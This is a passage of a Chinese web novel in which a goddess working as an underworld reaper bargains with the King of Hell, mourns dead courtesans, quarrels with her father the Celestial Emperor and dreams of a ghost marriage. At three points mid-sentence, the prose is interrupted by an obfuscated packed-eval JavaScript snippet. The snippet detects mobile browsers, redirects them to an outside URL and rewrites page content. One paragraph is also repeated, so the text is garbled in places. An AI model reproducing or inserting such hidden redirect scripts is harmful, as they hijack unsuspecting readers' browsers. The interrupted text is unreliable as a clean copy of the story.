秦霍霍也不知道从哪里掏出了一罐粉,郑重的交到了白永宁的手中,然后语重心长地说:“小白,以后要么印堂擦点粉吧,果然印堂发黑会倒霉啊。” 12. 第十二章 “这也太少了吧?”秦霍霍按住了阎王才划拉了两下就准备收回的手。 “已经不少了。”阎王一边说一边试图抽回自己被秦霍霍按住的手,努力了几次秦霍霍的手就跟钉在桌上了一样,纹丝不动。 秦霍霍听阎王这么说,直接抢来一旁站着的白永宁的功德簿,指着上面说:“那你说说怎么他的比我多。” “这……这阎王做的决定岂容你随意质疑?”阎王提高了音量试图掩饰自己的心虚。 秦霍霍当然敏锐的就察觉到了,拿起桌上笔直接塞到了阎王的手中:“我看着你加。” 阎王感觉手中的笔像个没有手柄的狼牙棒一样扎手,如果下笔的话,自己的威严何在,可是不下笔的话,秦霍霍的样子大概今天能把阎王的横梁都给闹下来,想到这阎王还抬头看了一眼根本就不存在的横梁。 白永宁看阎王的样子,又看了看秦霍霍的样子,适时的开口道:“要不我分你一点?” 秦霍霍此刻眼里只有阎王跟他手中的笔,完全无视了白永宁说的话。 “不是我的话,小白可能就已经嗝屁了,不是我的话……”秦霍霍看阎王迟迟不动,又开始在他耳边喋喋不休。 阎王被秦霍霍吵得感觉头都开始隐隐作痛了,拿起笔一划在秦霍霍的功德本上一划:“行了,你快给我走吧。” 秦霍霍抓起功德簿换上笑容冲着阎王甜甜的道:“谢谢阎王叔叔,祝您永远不死。”说完还特地鞠了一躬,然后就拽了白永宁走出了阎王殿。 阎王一时之间不知道秦霍霍最后说的话跟那个鞠躬到底是在骂自己,还是……应该不能是祝福吧。 “她刚才是骂我么?”阎王问刚走进殿内的判官。 判官根本不知道刚才发生了什么,自然也没有听到秦霍霍最后说的话,但想着不能得罪领导的原则,判官本想肯定阎王的话,但又一想到秦霍霍的神女身份,最终阿巴阿巴了半天,楞就是一句话都没有说出来。 …… 秦霍霍一走出阎王殿便朝四周张望了一下,然后靠近白永宁小声说道:“小白,我去趟阳间,如果有人找我的话,你就说我肚子疼去找大夫看病了。” “你觉得地府中人的头脑如何?” “还行吧。”秦霍霍不太明白白永宁为何突然问这个问题,但还是回答了。 “那你还拿他们当傻子?” “……” 地府根本就没有活人,而人的那些头疼脑热的毛病也就不会有,自然就不会需要大夫,虽然说秦霍霍并不是鬼魂,但是她是神女更加不可能会出现肚子疼要找大夫的情况。 “那你就说天帝老头找我。”秦霍霍也觉得之前那个理由过于离谱了,于是直接搬出了天帝。 白永宁一把抓住了秦霍霍的袖子,生怕一会她就偷偷溜走了。 “你去干嘛?”白用宁问道 楚家大儿的魂魄早已被回归了他自己的肉身,张三也已经被带回了地府,阳间应当已经没有什么事情需要秦霍霍再去一趟了。 秦霍霍甩了甩被白永宁揪着的袖子,但是奈何白永宁抓的实在太紧了,秦霍霍甩了几次都没甩掉,只好放弃示意自己不跑,白永宁这才松了手。 秦霍霍走到附近的一个石阶上坐下后朝白永宁摆摆手让他一同坐过来。 “小白,你还记得我们那日看到的那些无名牌位么?” 那些摆在翠秀阁中的无名牌位白永宁肯定记得,只是他不明白为什么秦霍霍会在这个时候突然提起。 “记得。” “我后来又去豆腐坊找过浮浮。”秦霍霍的语气逐渐低落。 白永宁没有接话,只是坐着等秦霍霍继续说。 “浮浮同我说,那些牌位都是翠秀阁里去世的姑娘的。” 白永宁不明白既然知晓去世之人是谁,那为何不写上对方的姓名,她们明明就有在牌位前放置贡品。 “这群傻姑娘们以为只要排位上不写名字,自己生前的一切阎王就不会知道了,就不用等死了还要在地府受刑罚。” “这怎么可能。”白永宁也是第一次听说原来阳间还有这种说法。 “是啊,怎么可能呢,可是她们不知道啊,就连死后也吃不到任何的香火供品。”秦霍霍说完深叹了一口气。 白永宁纠结了很久才开口安慰道:“她们下一世一定会比这一世好。” 但等了好一会也没有等到秦霍霍回话,白永宁看向原本秦霍霍坐着的位置,才发现她早在不知道什么时候已经偷偷溜走了。 ………… 翠秀阁如同往日一般,各种形形色色的人进出,只是其中有一个特别的身影。 “小道长怕不是走错了?”门口的姑娘拦住了一袭道士打扮的秦霍霍。 “师父同我说,让我来这寻一个叫浮浮的女子。”秦霍霍学着道士的样子有模有样的说道。 那个姑娘听到秦霍霍说要找浮浮,瞬间就变了脸色,往后退了一步一言不发警惕的看着秦霍霍。 翠秀阁中的姑娘如果没有人请去表演,几乎是很少出门的,偶尔出门也是跟着坊中的嬷嬷到寺庙去拜神祈福,从没有没有过去道观的时候。更何况浮浮早就死了,现在这个时候突然来了一个道士说要找浮浮,是人都会觉得奇怪。 秦霍霍故意装出一副什么都不知道的表情问道:“是什么不便的么?” 那个姑娘听到秦霍霍说要找浮浮,瞬间就变了脸色,往后退了一步一言不发警惕的看着秦霍霍。 翠秀阁中的姑娘如果没有人请去表演,几乎是很少出门的,偶尔出门也是跟着坊中的嬷嬷到寺庙去拜神祈福,从没有没有过去道观的时候。更何况浮浮早就死了,现在这个时候突然来了一个道士说要找浮浮,是人都会觉得奇怪。 秦霍霍故意装出一副什么都不知道的表情问道:“是什么不便的么?” 那个姑娘跟之前的娇娇一样,很快就恢复了往常的表情,笑着问道:“小道长,我们这是寻欢的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150696|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可你却要来寻人?” “还望这位女施主可以行个方便。”秦霍霍也没想过对方会直接让自己进去,毕竟自己现在的行为真的很奇怪,别人有点防备心理也是正常。 可能是见秦霍霍死活都不肯走的样子,对方也只好让一旁站着的护卫进去找嬷嬷了。 不多时一个穿着大红色裙衫,头戴大红花的女子走了出来,她上下打量了一下秦霍霍笑着问道:“不知小道长找浮浮所为何事呢?” “我师父说自己前世曾得过浮浮姑娘的帮助,这一世他老人家算到浮浮会遇到灾祸,便想让我来替她化解一番。”秦霍霍将自己精心准备好的台词说了出来,反正前世今生的事情他们也不能去查证。 嬷嬷听到灾祸二字才有些相信秦霍霍,语气中忍不住透露出一丝惋惜,“我想小道长可能来迟了,浮浮的这场灾祸已经发生了。” 虽然早已知道浮浮的事情与结局,但是秦霍霍的内心依然还是会有所触动。 “抱歉,道观离兴州府不少路程,不曾想紧赶慢赶还是晚了一步。”秦霍霍说完停顿了一下,看了一下眼前的两人又继续道:“不知道可否让我为浮浮姑娘上一柱香?” 嬷嬷此刻也已经对秦霍霍放下了警惕,她点了点头说道:“小道长同我来吧。” 她将秦霍霍带到了那个摆满了空白牌位的房间内,房内的一切都如同之前秦霍霍跟白永宁来时一样,昏暗的房内摆满了牌位,只有四周的烛光还在发出微弱的光。 嬷嬷指着角落里一个牌位同秦霍霍说:“那个就是浮浮的牌位了。” 秦霍霍顺着嬷嬷的手看去,一个面前放着一朵茉莉花的牌位在角落里静静的呆着。 “为何这里的牌位都没有姓名?”秦霍霍故作疑惑的问道。 “不写名字死后阎王老爷就不知道我们生前做过的事情了,到了下面就可以少受很多刑罚了。”嬷嬷回答道。 “阎王大人并不会因为一个牌位就什么都不知道,而且因为牌位上一片空白,死去的人也手部到任何的香火。”秦霍霍将自己来这种最终的目的说了出来。 这些女子本就已经过得够苦了,死后到了地府可能还受刑罚,如果连阳间人给自己的香火供品都收不到,实在太可怜了。 嬷嬷大概也是第一次听到有人跟她说这话,有些不相信的看着秦霍霍问:“哪怕我们不在排位上写名字阎王大人也会知晓所有?” “所有人死后都归阎王管,一个小小的牌位又怎能阻挡得了呢。”秦霍霍认真的解释道,生怕对方不相信自己。 嬷嬷扫了一眼屋内摆放着的牌位们,然后有些茫然的点了点头。 秦霍霍完成了自己这次过来最重要的任务之后,又从自己的功德簿中拿了少许功德出来,偷偷的施给了屋内的每一个牌位,等到这些牌位写上名字之后,香火供品以及功德就都会送到她们的手上了。 ‘生前已经这么苦了,希望你们死后可以少受些刑罚’秦霍霍在心里说道。 13. 第十三章 天帝自从把秦霍霍送去地府当临时无常之后,便总借着看望女儿的名字去地府,当然他不是去找秦霍霍的,而是去找阎王的麻烦,为此阎王不止一次把锅扣在秦霍霍的头上,一度让秦霍霍怀疑天帝是不是根本不希望自己能够修满功德回去。 “地府之人不能进入天界。”守卫死死守住通往天界的大门不肯让秦霍霍进去。 “我说了天帝是我爹!”秦霍霍还穿着一身白无常的制服,本来想从自己身上掏点可以证明身份的东西出来,但是找了半天除了勾魂锁就是招魂幡要么就是假舌头之类的东西,确实怎么看都不像是天帝的女儿。 “地府之人不能进入天界。”守卫就跟个机器人一样看都不看一眼秦霍霍,只是重复这这句话。 秦霍霍恨不得现在马上掏出一个手机给天帝打电话,但是现在自己不仅没有手机,天帝甚至还将自己与他之间传音的功能给关了,平时除非天帝主动到地府找她,不然根本就见不到这个自己的这个倒霉爹。 “地府之人不能进入天界。”守卫又一次开口道。 “……” “我还没说话呢,你干嘛又拒绝我一次。” 既然好好说不行,那就硬闯算了,她不信天帝还能罚她,毕竟如果不是天帝她也不会去地府当临时工了。 说干就干,秦霍霍撩起袖子往后退了几步就准备一个助跑硬冲进去,步子才刚迈了一步就听到一个让人很不愉悦的声音出现。 “呀,霍霍怎么有空来看爹的,今天不用去勾魂攒功德么?”天帝领着一众神仙刚巧就路过到这里。 秦霍霍紧急刹车,指指面前的守卫说:“他不让我进去。” 结果还不等天帝开口,面前的守卫就自动让开了,甚至还一脸谄媚的看着秦霍霍说:“神女殿下,您回来了呀,快请进吧。” “……” 好得很,好得很!明明就认识还故意装不熟是吧,秦霍霍咬牙切齿的看着守卫,但守卫就跟没看到秦霍霍杀人般的眼神一样,还是一脸谄媚样。 “宝贝女儿,怎么还不进来呀?”天帝看秦霍霍一直站在外面,开口催促道。 “吵死了。”秦霍霍不耐烦的回道。 秦霍霍怒气冲冲地走到天帝身边,后面跟着的神仙怕秦霍霍的怒火会波及到自己,纷纷找了各种离谱的借口离开。 先是司命仙君说自己院中起火了,要赶着回去灭火。 然后掌月仙子说自己左脚先踏出的殿门不吉利,要回去重新走一次。 接着还有什么,忘了关门、忘了给灵兽喂食、忘了…… 各种稀奇古怪五花八门的理由,秦霍霍之前在天界没待过几天,所以没怎么接触过这些神仙,她本来还以为这些神仙应该都是不苟言笑很严肃的样子,没想到一个比一个离谱。 不过细细想来也很正常,毕竟他们的领导:天帝,就不太像一个正经神仙,底下这些打工人精神不太正常也可以理解。 原本还乌泱泱的一群神仙,一下子就走的一个不剩,只有秦霍霍、天帝以及还在谄媚的看着她的守卫。 “……” 秦霍霍实在受不了守卫的眼神,拽住天帝的袖子就往自己府邸中去。 “哎呀,霍霍你走慢点,爹年纪大了。” “闭嘴,臭老头。”秦霍霍不知道为啥自己一听到天帝的声音,就忍不住想要骂他。 …… 秦霍霍走进府邸大门的那一刻,还以为自己走错了。她的府邸原本也算是天界数一数二的华丽,院中不仅种植了大量的灵花灵草,还有不少是秦霍霍在在一些远古遗址中寻来的,除了植物还有一些灵兽也被散养在院中。 现在院中别说灵兽了,连灵花灵草都全部枯死了,不知道还以为秦霍霍已经离开天界几百年了。 “我这院中原本不是有仙子在帮我照料花草的么?怎么全死了?”虽然说并不是秦霍霍本人去收集来的,但是她也心疼啊,这就相当于限定款没啊。 天帝有些尴尬的看着秦霍霍笑着说道:“宝贝女儿呀,爹想你都去地府了,就让那些仙子去其他星君的府上了。” 秦霍霍听了天帝的话彻底无语了,节约成本都节约到这个份上了么?天界现在是入不敷出了么?哪怕留一个仙子照看一下都好啊。 天帝见秦霍霍一直不说话又找补了几句:“天界的灵气这么充沛,爹也没想到这些花草会死。” “那我的那些灵兽呢?花草死了灵兽不能也饿死了吧。”秦霍霍也不想再跟天帝计较花草的事情了,反正如果以后自己穿回去,真正的秦霍霍会自己找天帝算账的。 “那些灵□□给司蕗仙君照顾了,他每天还会给灵兽们讲故事呢。”天帝特地强调了一下讲故事这几个字。 秦霍霍在自己的记忆库里搜寻了一下这个司蕗仙君,依稀记得好像是个满头白发白胡子天天穿着一袭白衣的严肃老头。 实在很难想象这样一个人竟然会给灵兽讲故事,不过既然灵兽们还正常存活着,秦霍霍也就没有再过多追究了。 现在终于可以算一算天帝天天去地府找麻烦,害的自己还要被阎王扣功德的事情了。 秦霍霍从从一堆枯草中找到了一把木制流光的凳子,天帝见状以为是秦霍霍特地给他找的凳子,刚准备坐下去秦霍霍就直接凳子给挪开了,天帝没想到她的操作一下就摔在了地上。 委屈巴巴的坐在地上看着秦霍霍道:“霍霍,你怎么能这么对爹呢?” “我对你干嘛了,你天天去地府给我找麻烦的时候,就没想过我会来找你算账么?”秦霍霍坐在椅子上居高临下的看着天帝。 “是不是阎王那个鲇鱼怪找你麻烦了,我现在就去找他算账。”原本还坐在地上委屈巴巴坐在地上的天帝,瞬间就斗志满满的站了起来。 “……” 为什么一听到可以去找事了,他就瞬间像换了一个人,看起来好像还年轻了几百岁的样子,秦霍霍觉得天帝之所以努力干到现在的位置,可能就是为了方便自己天天到处犯贱而不会被人打死吧。 “你能不能别天天出去找事,如果不是你我可能早就已经修满了功德回来了!”秦霍霍把功德簿掏出来重重地摔在天帝的面前。 天帝拿起功德簿从后开始翻,空白……空白……还是空白……,直到翻到前十分之一功德记录才出现。 “霍霍啊,你这种情况最多早回来个几日吧……”天帝每次去地府基本都是以找阎王麻烦为目的,几乎没有关注过秦霍霍在地府的工作情况,刚才听秦霍霍说还以为她在这么短的时间内就完成了,结果完全就是她在信口胡诌,这功德簿里的记录甚至连一半都没到。 “那还不是因为你,如果……”秦霍霍从天帝手中将功德簿给抢了回来,准备开始对天帝进行一番输出的时候,原本守在天界大门外的守门突然跑了进来。 “禀报天帝,大事不好啦~”守卫跑的太着急没注意这院中遍地的枯枝,竟然“啪唧”一下直接摔在了两人面前。 如果不是秦霍霍已经到了这里有一段时间了,不然她真的合理怀疑自己是在一档恶搞真人秀里,这个守卫怎么说话像个喜剧人啊。 “怎么了,怎么了?”天帝蹲在那个守卫的面前问道。 秦霍霍觉得自己好像看到天帝的眼睛在发光,所以这个臭老头就是喜欢搞事情吧,正常人听到出事了怎么会是这种反应啊。 守卫见也眼前的两个人没有一个人想要扶他起来,认清了自己只是个卑微打工崽的事实,只好装作若无其事的爬起来继续禀告道:“地府要来攻打我们天界啦。” “啥?” 这下天帝也有点懵了,以往自己虽然经常去地府找阎王的麻烦,但阎王一般都直接报复在秦霍霍的身上,例如克扣她的功德或者多克扣一点她的功德,可自己也没有过分到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150697|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会让阎王直接来攻打天界的地步吧。 “他们来了多少人?”天帝此刻也收起了以往嘻嘻哈哈的样子,有些谨慎的问道。 守卫颤颤巍巍的伸出一根手指。 “什么,来了一百万鬼差?!”天帝露出一脸惊恐的表情连连后退。 秦霍霍抽了抽嘴角,且不说阎王没那么傻会来攻打天界,而且地府根本就没有一百万的鬼差啊。 “是来了一个黑无常。”守卫赶忙摆摆手解释道。 说完还尴尬的冲天帝笑了一下,他也没想到天帝会联想到是一百万个鬼差。 天帝知道来的只有一个鬼差后,表情才缓和下来。 清了清嗓子对着守卫怒斥道:“区区一个无常就把你吓成这样了?”说完眼神还往秦霍霍那瞟了一下。 ……看我干嘛啊? 秦霍霍觉得天帝刚才的那个眼神有些不尊重自己了,怒道:“看什么看啊,再看我撕烂你的嘴你信不信!”说完做了个撕扯得动作。 虽然没有真的撕烂他的嘴,但天帝已经开始觉得自己的嘴角开始疼了,硬是把头扭到了另一边防止自己一会儿不小心又瞟到秦霍霍。 守卫站在一旁不知道自己还要不要说话,毕竟秦霍霍连天帝的嘴都懒撕烂,万一等下先撕烂自己的练手怎么办,可是那个黑无常还站外面,也不能不管他吧。做了一番思想斗争之后守卫绝对还是决定开口,话才刚到嘴边,秦霍霍就提前开口了。 “那个黑无常说什么了?” “他说,阎王派他来找……”守卫如实回道。 “找什么?”秦霍霍追问道。 “跑太急了没注意听……” 开除!必须开除他!上班除了吓唬领导就是为难领导的女儿。 不过开除他之前,秦霍霍还是让他先去把那个来找不知道什么的黑无常带过来。 …… 秦霍霍看着站在自己面前的白永宁,此时一脸局促的表情被天帝上下打量着。 天帝对着面前的白永宁冷声道:“阎王就是派你小子要来攻打我们天界的?” 大概是因为白永宁的脸色没有任何血色,皮肤显得异常的白皙,虽说天帝偶尔也会在酆都见到鬼差,但这些鬼差总是披头散发的,他还是第一次发现原来鬼差的皮肤会这么白,曾经自诩是天界第一美男子的天帝不由得有些嫉妒,在心里暗暗骂白永宁是个小白脸。 白永宁被天帝问的有点懵,自己不过是来找个人,怎么就演变成了要攻打天界了,而且阎王是疯了么?攻打天界就派一个人,是太看得起自己还是太看不起天界了。 “小白是来找我的。”秦霍霍出声道。 小白?就说是个小白脸了,长得白就算了,连名字都这么的……这么白!啧,怎么霍霍就跟这么个小白脸混到了一起呢? 天帝看着秦霍霍语重心长的嘱咐道:“霍霍,你可不能学坏啊。” 秦霍霍无语的翻了个白眼,天帝肯定又不知道想到了什么奇怪的事情,实在不想再跟他有任何过多的交流,秦霍霍拽着白永宁就大步往天界大门走去。 身后天帝还在冲她喊:“霍霍啊~一定要谨记爹的话啊~爹的话啊~话啊~” 白永宁听着身后渐渐消失的声音好奇的问道:“天帝怕你跟谁学坏?” “大概怕我被阎王带坏了,以后跟着地府一起欺负他吧。”秦霍霍随口胡诌了一个理由,至于天帝到底是怎么想的,她是一点也不在乎也一点不想知道。 白永宁觉得此刻自己的无常身份显得有些尴尬,小声开口道:“阎王大人应当没那么小心眼吧。” “你来找做什么?”秦霍霍实在不想再继续这个话题,便问到白永宁为何会突然来找自己。 “阎王大人说你擅离职守,让我把你抓回去。” “……” 你还说他不小心眼!他的心眼还不如针尖大! 14. 第十四章 “诶诶,我前几日听我家那个婆娘说,镇子东边的那户王家要娶亲了。” 一个屠夫装扮的男子同一个书生打扮的男子说道。 书生听完表情很是诧异,往四周观望了一番,确认没有人注意他们这才凑近到屠夫耳边,小声问道:“那个家中有个痨病鬼儿子的王家?” “对,听说是给他那个痨病鬼儿子娶亲冲喜呢。”屠夫说完摇摇头又继续道:“不知道哪家姑娘会这么倒霉。” 话才刚说完远处竟然就传来了锣鼓声,声音从小到大越来越近,中间仿佛还夹杂着一些孩童的笑声,不多时一顶花轿就出现在了二人面前,在最前头骑着马的俨然就是刚才他们讨论的王家的痨病鬼儿子王五,只是此刻他却精神抖擞,半点看不出病入膏肓的样子。 二人看到眼前的景象吓得跪趴在地上,大气也不敢喘一下,王五路过之时扫了地上的二人一眼,倒是也没说什么骑着马带着迎亲队伍就走了。 待王五一行人没了身影,二人这才缓过来瘫坐在地上,眼神中透露出一股劫后余生的恐惧。 “怎……怎么会是在这个时候。”屠夫看着王五消失的方向惊恐的说道。 书生此刻已经被吓得说不出话来了,只是坐在地上一个劲的发抖。 现在正是深夜路上本就没有多少人了,寻常人怎么可能会在这种时候娶亲,更别说王五那个身体,就是白天成亲王他都未必能撑得下去,更别提现在是已经入了秋的深夜,刺骨的寒气一阵阵的往人的衣服里钻。 可是那王五此刻不仅没有丝毫病重之人的样子,甚至看起来比许多身体康健之人的气色还要好。 这画面比起见鬼也没有好多少,一阵风吹起将刚才队伍撒的喜币吹落到了二人的前面,不知是因为天黑看不清还是怎么的,那喜币看起来更像是一个个白色的纸钱。 屠夫急忙拽起瑟瑟发抖的书生就往家中跑,那速度仿佛稍微慢一点,就会有恶鬼要来找他们索命一样。 …… 秦霍霍自打上次的事情之后本想着好好休息一下,但是阎王看样子是一天都不想让自己摸鱼,刚休息没两天又火速催促自己进入工作。 “周扒皮见了阎王高低都要喊声大哥。”秦霍霍跟在白永宁的身后不满的小声嘀咕着。 白永宁的耳朵还是挺好的,自然是听到了她的话,虽然他也不知道周扒皮是谁,不过听名字倒像是个干屠夫的,不然为啥要叫周扒皮。 “我觉得阎王大人应该没干活屠夫的活。”白永宁试想了一下阎王干屠夫活的样子,忍不住停下回头对秦霍霍说道。 秦霍霍满脑子都在想骂阎王的坏话,没注意到前面的白永宁突然停了下来,直接就撞了上去,竟然差点把白永宁给撞飞了,还好她及时拉住了白永宁的头发,这才没让白永宁飞出去。 “小白,你发质还真不错。”秦霍霍松开了他的头发,手中竟然没有拽掉一根,不禁感慨白永宁发质真好。 虽然头发是一根没掉,但是秦霍霍刚才还是狠狠拽了一下,白永宁感觉自己的头皮疼的厉害,伸手揉了揉自己受难的头皮。 秦霍霍见了白永宁的动作,有些不好意思的“嘿嘿”笑道,顺便伸手替白永宁揉脑袋,只是力道太大了一些。白永宁原本就疼的头皮现在更加疼了,他在自己头皮马上就是疼掉的那一刻把秦霍霍的手从自己的头上拽了下来。 秦霍霍略显不满的还准备再伸手,白永宁故作严肃的掏出生死簿开口道:“还是抓紧干活要紧。”说完也不管秦霍霍就往目的地去。 秦霍霍在后边一边追一边冲白永宁喊:“小白,你这个头上有淤血要揉开的。” “……”白永宁不知道自己一个鬼到底会有哪门子的淤血。 …… 等二人到目的地的时候,秦霍霍看着眼前的景象倒吸了一口气。 虽说也是见过不少大世面的人,只是在别人的婚宴上勾魂还是头一遭,就算秦霍霍是现代穿越来的,还是会忍不住觉得不吉利。 白永宁眼神中也有些惊讶,但是作为一个合格的打工人,他很快就调整了自己的状态,掏出勾魂锁就往里面飘去。 婚宴此刻正进行到高潮阶段,一名看上去约莫五六十岁的男子正举着酒杯游走在婚宴中,不停的有人向他举杯道喜,看来这人应该是新郎的父亲了,秦霍霍第一次见到古代的婚宴,见白永宁正在认真的搜寻着,就偷了个懒在婚宴中四处闲逛起来,打算好好看看古代的婚宴是什么样子的。 白永宁寻了一圈都没有见到这次的魂魄,准备喊秦霍霍一起找一下,就看见秦霍霍有些为难的指着那个新郎的父亲。 “那人是个二十来岁的年轻人。”白永宁有些无奈的说道。 “我知道,但他说他儿子叫王五。”秦霍霍回道。 白永宁惊愕的又掏出了生死簿,皱着眉说道:“不可能,生死簿中记载这王五尚未娶亲啊。” 秦霍霍环顾了一下四周,红绸喜字挂满了整个院落,怎么看都不像是尚未娶亲的样子,“呃……也许是还没完全娶亲成功?”说完秦霍霍自己也觉得有些牵强,但是实在是找不到更好的理由了,生死簿一般是不会出错的,上次已经错过一次了,总不能每次都出问题吧,那也实在是太倒霉了。 白永宁自然是不可能被这种理由给说服,但眼下的一切又好像在跟他说可能就是秦霍霍说的原因。 二人正打算往后院中去寻找一下王五,忽然院中开始刮大风,风夹杂着各种落叶挡住了秦霍霍与白永宁的视线,等风停的时候原本还热闹非常的婚宴一下就没了声响,秦霍霍再往院中看去。 院中的所有人都像被暂停了时间一样,一动不动的保持着刚才的姿势,秦霍霍狐疑的走进,这院中满座的宾客根本就不是活人,而是一个又一个的纸扎人,纸人的脸上笑脸从两侧的耳朵开始画起,两个眼睛也弯成了两个弦月的样子,看似是想要表达喜悦的情绪,可秦霍霍却只觉得这些纸人的样子更像是在演恐怖片。 而那个王五的爹同样也是纸人,只是他的笑容更夸张,嘴足足占据了脸一半的位置,其他的五官都硬生生被挤到了一起。 “这……是场……”秦霍霍话才说了一半就被白永宁打断了。 “冥婚。”白永宁见到满院的纸人一下就明白了,怪不得生死簿上写着王五尚未娶亲,原来他是的婚礼是场冥婚,那一切就解释的清楚了。 “可是刚才明明他们都是活人啊。”秦霍霍不解的看向白永宁。 白永宁走到纸人的面前,仔细观察了一番,发现所有的纸人竟然都被点了眼睛,纸人本是不能被点眼睛的,因为一旦点了眼睛就如同有了生命。 “这些纸人都被点了眼,现在又是深夜所以才会有刚才那一幕。”白永宁给秦霍霍解释道。 秦霍霍这才发现这些纸人确实都被点了眼睛,以前就经常听到相关的民间故事,看来刚才就是因为这个原因,刚才这些纸人才会像活人一样动起来。 搞清楚了情况之后,两人也就不再前院中做过多的停留,转头就往后院飘去。 王五所在的屋子一眼就能看到,后院所有的屋子都黑着,只有一间院子亮着灯。 “你说冥婚是姑娘是活人么?”秦霍霍在进入屋子前突然问道。 白永宁听罢也愣了一下,但还是如实说道:“那姑娘应当还是个活人。” 冥婚有与死人婚配的,也有与活人婚配的,但一般死人之间婚配大多只是请个专门做冥婚的媒人,将两人八字绑在鸡上拜堂,然后再将尸骨葬到一处即为礼成。 王家的这场冥婚却大费周章 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150698|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的做了那么多的纸人,还将整个场地布置的同婚宴差不多,看来今日同王五婚配的不是一个死人,或者说暂时不是一个死人。 秦霍霍长叹了一口气,伸手推开屋门踏了进去。 从外面看明明还是亮着灯的屋子,此时屋内却是一片漆黑,秦霍霍想要转身去找白永宁,却直接撞到了门上,秦霍霍一边揉着自己的脑袋一边抱怨:“小白你没事关什么……”门字还没说出口,秦霍霍就觉察到了不对劲,无常是根本不可能撞到门的。 秦霍霍伸手摸了摸眼前的“门”,这“门”根本就没有门缝,说是门还不如说它就是块木板,她又喊了几声白永宁,却根本无人应答。 既然一条路不通那就再试试别的路,秦霍霍转到自己的左边,却跟刚才一样又撞到了一块板子,秦霍霍感觉自己的脑子此刻正在嗡嗡作响,她又转身摸了一下另一边,同样也是一块木板,就算她再心大结合现在的情况跟场景,她也猜到自己可能在一个棺材里。 秦霍霍伸手想要推开前面的棺盖,可纵使她用尽全身的力气但棺盖依然纹丝不动,见推不开棺盖秦霍霍只能大喊白永宁的名字,希望他能快点出现把自己从这个棺材里带出去。 “娘子为何一直喊着其他男子的名字。”一个男子的声音从秦霍霍的身后传来,语气中还透露出一些不满。 秦霍霍这下彻底不敢动了,就算她再厉害,是神女是无常都好,此刻她根本控制不住自己内心的恐惧,可身后的声音并没有因为秦霍霍停止了动作而消失。 “娘子,你怎么不肯回头看我一眼。”那个声音好像又凑近了一分,秦霍霍悄悄握紧了拷鬼棍,既然指望不上白永宁那就只能靠自己了。 “娘子?莫不是气为夫现在才来?”这次声音好像已经凑到了秦霍霍的耳边,她甚至可以感觉到对方呼出的冰冷的气息。 秦霍霍深吸了一口气,闭眼转身将拷鬼棍往那声音砸去。 “嗯?娘子怎么这般着急?”那声音没有收到丝毫影响,竟然直接握住了秦霍霍的手,语气轻佻的对秦霍霍道。 秦霍霍睁眼发现棺内比起之前亮了些许,不知道是自己适应了这个黑暗的环境还是眼前的王五发出的绿光,当然秦霍霍更愿意相信是自己适应了这个环境,但是眼前的情况好像是后者。 秦霍霍抬眼看去自己被握住的手,原本握在手中的拷鬼棍已经变成了一只酒杯,王五笑嘻嘻的从秦霍霍的手中接下酒杯,然后不知道从哪又掏出了一个酒杯塞到秦霍霍的手中。 “既然娘子着急喝交杯酒,那为夫只能恭敬不如从命了。”王五说罢就朝秦霍霍凑了过去,准备挽起她的手。 “谁跟你喝这个鬼交杯啊!”秦霍霍在王五马上要凑到自己脸前的时候一把推开了他,顺便还将自己手中的酒杯也砸了过去。 酒杯中的酒撒了王五一脸,原本还正常的脸此刻却突然开始融化,仿佛酒杯中的并不是酒而是硫酸,王五融化下来的液体顺着棺材朝秦霍霍流去。 秦霍霍想要往后退,但刚退了一步就碰到了那个棺盖,眼前的王五也缓缓地朝秦霍霍移动,虽然王五的速度很慢,可是一个棺材能大到哪里去,也不过是几秒钟的事情,秦霍霍感觉自己都可以闻到王五身上腐烂的味道,她想要伸手将王五推开,手却被人再次给抓住了。 “小姐……醒醒,小姐……醒醒”一个少女的声音急切的响起,秦霍霍睁开眼发现自己竟在躺在一张雕花的床上,手上原本冰凉的触犯已经被眼前少女的温热给替代了。 秦霍霍起身迷惑的环顾四周,屋内根本没有棺材更也没有融化的王五,屋外的阳光仿佛也在告诉秦霍霍现在并不是午夜。 丫鬟对秦霍霍的行为见惯不惯,拿了件衣服给她披上说道:“小姐,您又做恶梦把自己是谁给忘了么?” 15. 第十五章 秦霍霍坐在摇椅上一边吃着葡萄一边想着丫鬟菱悦说的话,菱悦告诉秦霍霍她是秦府的大小姐,自己是从小陪她长大的贴身丫鬟,秦霍霍还患有失忆症。 秦霍霍不太相信自己患有失忆症,但是无论她怎么努力回忆,她都记不清自己以前发生过的事情,甚至连睡醒前梦境中发生的事情都没有一点印象。 直到吃完了盘中所有的葡萄,秦霍霍依然还是什么都没想起来,难道自己真的患有失忆症? 